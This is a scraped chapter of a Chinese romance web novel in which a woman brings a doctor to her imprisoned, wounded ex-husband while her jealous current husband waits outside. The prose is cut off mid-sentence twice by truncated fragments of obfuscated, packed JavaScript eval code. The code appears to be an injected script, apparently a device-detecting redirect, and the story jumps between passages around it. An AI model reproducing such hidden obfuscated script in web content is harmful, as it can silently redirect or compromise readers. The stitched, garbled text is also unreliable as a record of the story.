那时,她已然找到了莫盈儿,带上她,扭头走了便是。 又何苦绕回来,亲自看上那一眼呢? 她明知自己无法承受那样的画面。 她又想看到些什么呢? 慕溶月痛苦地闭上眼,脸色因为过度受惊而显出了几分惨白。 ……或许, 她只是不想在回去以后,毫无准备地便收到了谢羡风的死讯。 在青林山上时,她无意间与谢羡风对上了视线。 她用尽全身的力气,才面前控制住了面部的表情,不让任何人看出她情绪的破绽,直到谢羡风被人带走。 对外人,她可以强装不在意。 可她骗不了自己。 亲眼目睹那样残忍的画面,哪怕受伤的是一个陌生人,也都会心有余悸。 慕溶月闭上眼,隐约感到心底的堡垒好似被逐渐攻破了一个窟窿,正在往外汩汩涌动着卸闸的洪流,尽数防备,就要毁于一旦…… 一个声音倏地打破了她的思绪。 “害怕吗?” 慕溶月错愕地抬起头,却看见宋景渊不知何时已然站在了她身后,正缓缓向她走来。 一步,一步,离她越来越近。 最后,鞋履停在了她眼前,恍若近在咫尺。 “他的手已经废了。” 宋景渊逐渐低下头,脸上看不出有什么表情,而只是淡漠地陈述一个事实,“若再拖久一点,病症便会扩散到全身——那时不用旁人做些什么,他自己就会一命呜呼了。” 闻言,慕溶月的瞳孔微微放大。 “我只需要,下令赶走官衙附近所有的郎中,这不过是一句话的事罢了。” 见慕溶月脸色苍白,宋景渊却眉头一皱,继而伸出两指,捻着她的下巴,缓缓抬起。 “怎么了?夫人。” “你是想向我求情吗?为了你的前夫。” 看着他眸底的几分试探之色,慕溶月忽而咬住了下唇,止不住地胸闷气短。 不知怎么,他好似总是没办法与她交心共情。 他是她的丈夫,却并不知道她真正在意什么,而只是一味地试探——试探在她的心中,他与前夫究竟孰轻孰重。 既无奈,又有些难过。 “为什么你能将这件事说得这么轻描淡写?” 宋景渊微眯起眼,微妙的表情:“我以为,你已经知道会是这样的结果。” “可心里知道,和眼前看见……是不一样的。” “夫人,”他蓦然打断了她,“我一路走到今天,可不能仅仅靠纸上谈兵啊。” 宋景渊眼底的冷漠,再一次刺痛了慕溶月的心。 她垂下头,终于不再说话。 宋景渊此刻也怀着满腔的躁郁,无处发泄。 他没想到,自己也会入戏这么深。 他原本没有真的怀疑自己的妻子,毕竟他相信慕溶月的为人,在大是大非上,她不至于被一时的情绪冲昏了头脑。 但是…… 不知为何,一想到本该回到家中乖乖等消息的慕溶月,却不惜对他扯谎,而出现在了不该出现的地方——他心底就燃起一股名为嫉妒的烈焰。 而此时此刻, 她竟然,还反过来指责他的冷血无情。 “我本就是这样一个狠毒、不择手段的人!”宋景渊怒而起身,背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她的泪水沾湿了他的衣襟,他则耐心地吻去她的泪痕,向她致歉。 “夫人,莫要多心了。方才,我只是胡说的……” “我答应你,我不会真的不让郎中医治他的。” “至于他能不能活下来……全凭他自己的造化,如此可好?” “别再哭了,好么?”见她泪流不止,宋景渊沙哑着嗓音,将头深埋进慕溶月的颈侧,“你这不是要了我的命吗?” 好不容易哄了半天,才将她哄得渐渐平复了心情。 慕溶月从宋景渊怀中伸出脸来,眼下还挂着未干的泪痕,在月光下闪烁着细碎的光,让人看了心觉楚楚可怜。 “景渊,我想最后见他一面。” “我答应你。此后,我便与他一别两宽,此生不复相见。” 她好似已经做出了某种决定。 她这副模样求他,他又如何能拒绝呢? 宋景渊无可奈何地叹了一口气,只有将人默默地紧抱在了怀里。 早知如此,当初就应让这该死的桓王去一边——不该怂恿她以身入局,和前夫纠缠不清了。 如今已是有些后悔了。 但可惜为时已晚。宋景渊仍克制着心头的躁闷,朝她点头应好。 “好,去吧。” 52. 第五十二天 地牢之内,昏暗无光,腐臭与血腥之气四处弥漫。 谢羡风倚靠着潮湿冰冷的石墙,艰难地喘息。 他的左臂以一种诡异的角度耷拉着,无力地垂在身侧。每一丝挪动都牵扯着伤口,令人疼得浑身颤抖。 谢羡风录完了口供,做了他该做的一切。但衙役并没有直接让他离开,而是将他锁在了这里,让他等待上头的指示。 谢羡风知道,他或许已经走不出这个门了。 他隐忍地试图调整姿势——至少挺直腰杆、站起来,而不是像这样毫无尊严、宛若一件死物。 直到再一次踉跄地摔在了地上。 绝望在空气中弥漫。 直到眼前已然一片血色,他终于放弃了挣扎,只能在这暗无天日的地牢之中,默默承受着无边的痛苦。 忽然,面前的牢门传来“吱呀”的一声。 随着来人推开了门上的锁链,一丝亮光突兀地落在了谢羡风的脚上。 谢羡风抬起头,瞳孔蓦地一颤。 是慕溶月。 他干裂的嘴唇微微开合,却发不出一丝声音。他眼中只燃起了一瞬的亮光,骤然熄灭,归于沉翳。 “……不要过来。” 这副模样,实在太难看了。 他最不愿发生的事,便是让她看见现在的自己。 自尊与渴望在相互拉扯,擦出的火花烫得人体无完肤。 慕溶月却没有说话,而是无声地将门推出更大的缝隙。光线随之透了进来,谢羡风的一半身子仍旧限于泥泞之中,另一半却被已然被光明照耀。 几许后,她才开口打破了僵持。 “我带了郎中过来。” 谢羡风感觉到了她的视线在自己身上一寸寸地扫过,他从来没有像今天这般厌恶过自己。 最后只能痛苦地闭上了眼。 “……为什么?” “你没必要来的。” “所以,你是打算自暴自弃了么?”慕溶月的嗓音带着几分愠怒,猛地拉紧了铁锁,“那就当我没有来过这一趟吧。” 见她作势要走,望着眼前再一次消失的背影,谢羡风突然像是应激发作了一般,终于不管不顾地低吼出声。 “……阿月,别走!” 他的动作幅度太大,一时牵扯到了伤口,当即便痛得眉头扭曲。 不甘心却驱使着他抬起头来,以最卑微的姿态乞求她的垂怜。 “不要走,求你……” 慕溶月没有说话,袖下的指尖却有些发颤。 她刚要转过身来,却忽然看见,谢羡风的手中正紧紧攥着一枚香囊,那料子已然被他揉到发皱,好似攥着唯一的救命稻草。 她认得这香囊的样式,一般这种样式的香囊,里面的香料会加以男女二人的缠发,再以一种求姻缘的符纸包卷起来,一并缝进香囊之中,便算作是向月老为二人求缘。 因为,她从前为他绣过的香囊,也正是这样的样式。 慕溶月心里一阵发酸,“这是什么?” 一想到他从前还对自己说过“不介意名分”之类的荒谬之词,慕溶月就失控地脱口而出:“你——真让我恶心!亏我还为你找来了郎中……” 话音未落,却对上了谢羡风灰暗的双眸。 却是无可奈何地苦笑了一下。 “阿月,这里面只有你一人的发丝。里面装着的,也不是姻缘符……” 而是他为她求来的平安符。 “我只希望将来的日子,你能平安顺遂。” “无论……你在谁的身边。” 只要想到她还安然地活在这世上,他便好似也不会那么孤单了。 闻此言,慕溶月脸色发白,胸口上下起伏地喘气,久久地说不出话来。 “你现在说这些,又有何用?” 尾音都发着颤。 谢羡风却凝神屏息望着她,语气笃定,“是有用的。” “见到你如今安然无恙——就说明这是有用的。” 慕溶月转过了脸去,将泛红的双眼遮盖在了阴影之中。 “我并没有自暴自弃,我只是……想让苍天为我的命运指一条明路。”谢羡风苦笑了一下,缓缓道出了心中所想,“若是老天觉得我不止于此,我便能渡过这一难关;若是他觉得我死不足惜……” 谢羡风顿了顿,继而说出了后半句:“那我也就可以安心下去陪欢儿了。” 慕溶月一怔,下意识反问,“欢儿是谁?” 而谢羡风只是定定地望着她,并不说话。 慕溶月很快便明白了,瞬地头皮发麻。 “我原本真的是这么想的。我闭上了眼,等待着老天最后的宣判。然后……你来了。” 出乎了他的意料。 她从天而降,出现在了他眼前,还带来了一丝光亮,照在了他的身上。 仿佛就是老天在对他说, 活下去。 在这世上,你还有牵挂不下的依恋。 而慕溶月为他带来的郎中,正是对他最好的回答。 只要见过了曙光,便再也舍不得松开手了。 谢羡风破涕为笑,嘴角漾开止不住的暖意。 “阿月,谢谢你。” 谢谢你,让我又有理由可以活下去。 慕溶月终于看不下去——倏地开口打断了他的思绪,嗓音也带上了几分颤抖的哭腔。 “谁许你给她取名的?” 那个有缘无分的孩子,永远是她心底最深处的软肋。 谢羡风却用一句话化解了她话中的坚冰。 “反正我就要去见她了……若没有名字作为信物,她如何能认出我来?” 慕溶月终于啜泣出声,捂住脸,背过了身去,任凭哽咽的泪水将袖口沾湿。 “我只想为她取一个‘欢’字,”谢羡风呢喃着,“余生不求荣华富贵,只求平安喜乐。” 他话音未落,慕溶月便大步离开了牢中,而示意门口候着的郎中。 “去吧。” 郎中开始为谢羡风医治手上的伤口,止血、包扎、最后定型。 “小将军此伤口极深,是被利物挑破了韧带、撞碎了关节。若是日后能够恢复得当,许能保住这一条手臂,若是恢复得不理想,则是……” 郎中耐心细致地为他解释着病况,说到最后,却是哀叹了一口气。 而谢羡风只是淡淡地应着,“我明白了。” 肉-身的疼痛,终究击不垮他。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们之间,桩桩件件……如何能够两清? “我已经同他们说好了,等处理好伤口,他们会让你走的。”慕溶月转过了身,只漠然道,“你回荆川,重新生活吧。” “往后,便不要再来找我了。” 见到她坚定如冰的神色,谢羡风心口闷痛,一句话也说不出口了。 …… 见几个衙役护送着慕溶月从地牢大门里走了出来,宋景渊也下了马,来迎接她。 “出来了?”他佯装淡定问,“他如何了?” 慕溶月的神色是掩盖不住的疲累。 “我已经同他说好了,他会回荆川的。” 宋景渊肉眼可见地松了一口气。 他心情刚有些转晴,但下一句,慕溶月便道:“往后你可以彻底放心、信我了么?” 宋景渊的脸色有些难看。 “夫人……你误解我了。” 慕溶月摇了摇头,却是制止了他解释的动作,而是淡淡道:“回去吧。”